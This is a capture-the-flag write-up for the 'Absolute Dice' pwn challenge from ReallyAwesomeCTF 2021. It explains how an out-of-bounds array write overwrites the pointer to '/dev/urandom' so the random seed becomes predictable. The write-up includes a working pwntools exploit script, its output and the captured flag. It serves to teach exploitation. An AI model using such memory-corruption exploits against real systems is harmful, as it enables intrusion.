Tags: pwn reversing 

Rating:

[link to original writeup](https://github.com/babaiserror/ctf/blob/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021/README.md#Absolute-Dice-PwnReversing-300-pts)

A very rough pseudocode:
```
int inp_array[33];
int i = 0
while(i < 100):
i += 1
fread(&seed, 4, 1, fopen("/dev/urandom", "r"))
srand(seed)
inp = input("Enter your guess> ")
ad_roll = rand() % 21
inp_array[i % 33] = inp
/* code checking if input is correct 31 consecutive times */
```
I also noticed that the program always segfaults on the 32nd or 33rd input. That's strange. Let's put it through `gdb`; it crashes when it tries to call `fread` on file descriptor `0`, which means `fopen` returned `NULL`. And `fopen` seems to have tried to read from address that I had input previously.

Looking into it a little more:

- `ebp-0x10` stores the address of string `/dev/urandom`.
- The `inp_array` stores its value from `ebp-0x90` to `ebp-0x10`.
- The first value will be stored at `inp_array[1]`, not at index `0`.

So the 32nd input will write at `ebp-0x10`, where it used to have the address of `'/dev/urandom'`, replacing it with out input. 4-bytes from `/dev/urandom` are used as the seed to `srand` every loop, so if we can overwrite it with an existing file that is not random, we can seed random with the same value everytime. For this, I chose `'flag.txt'` within the file, which is at `0x8048bb9`. Luckily, the binary has no PIE.

At this point, it's trivial; on the 32nd input, we give `134515641` (the decimal value for `0x8048bb9`), and figure out what "random" value it produces (it produced 11); then, rerun the program, give the same 32nd input, and repeat that "random" value 31 times. As a side note, unlike the output which seems like it requires 50 consecutive correct inputs, the actual code only checks the input 31 times.
```py
import pwn

io = pwn.remote('193.57.159.27', 35383)
FLAG_ADDR = b'134515641'
for _ in range(31):
io.sendline(b'1')
io.sendline(FLAG_ADDR)
io.recvline()
for _ in range(31):
io.sendline(b'11')
io.interactive()
```
```
$ python3 dice.py
[+] Opening connection to 193.57.159.27 on port 35383: Done
[*] Switching to interactive mode

Enter your guess> Absolute Dice scores a hit on you! (She had 7, you said 1)
Enter your guess> Absolute Dice scores a hit on you! (She had 17, you said 1)
...
Enter your guess> Absolute Dice scores a hit on you! (She had 9, you said 1)
Enter your guess> Absolute Dice scores a hit on you! (She had 15, you said 134515641)
Enter your guess> Absolute Dice shrieks as your needle strikes a critical hit. (1/50)
Enter your guess> Absolute Dice shrieks as your needle strikes a critical hit. (2/50)
...
Enter your guess> Absolute Dice shrieks as your needle strikes a critical hit. (31/50)
Absolute Dice shrieks as you take her down with a final hit.ractf{Abs0lute_C0pe--Ju5t_T00_g00d_4t_th1S_g4me!}
```